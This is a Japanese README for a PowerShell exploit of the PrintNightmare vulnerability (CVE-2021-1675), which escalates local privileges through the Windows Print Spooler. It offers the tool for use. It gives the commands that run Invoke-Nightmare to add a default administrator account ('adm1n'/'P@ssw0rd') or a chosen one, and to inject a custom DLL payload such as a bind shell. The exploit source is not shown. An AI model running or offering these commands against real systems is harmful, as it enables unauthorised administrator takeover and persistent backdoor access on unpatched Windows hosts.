
PrintNightmare (CVE-2021-1675) のPowerShellエクスプロイト。Print Spoolerを介してローカル権限昇格を実行し、カスタムDLLペイロードを注入してローカル管理者ユーザーを追加します。
Caleb Stewart | John Hammond | 2021年7月1日
CVE-2021-1675 は、"PrintNightmare" と呼ばれる、リモートコード実行およびローカル権限昇格の深刻な脆弱性です。
概念実証エクスプロイトがリリースされています(リモートコード実行用: Python、C++、ローカル権限昇格用: C#版)。純粋なPowerShellによるネイティブ実装はまだ見かけていなかったため、このエクスプロイトの改良と再構築に挑戦しました。
このPowerShellスクリプトは、PrintNightmare攻撃手法を用いてローカル権限昇格(LPE)を実行します。

Windows Server 2016 および Windows Server 2019 でテスト済みです。
デフォルトでローカル管理者グループに新しいユーザーを追加します。
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # デフォルトでローカル管理者グループにユーザー `adm1n`/`P@ssw0rd` を追加
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
カスタムDLLペイロードを指定して、その他の任意の操作を行います。
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"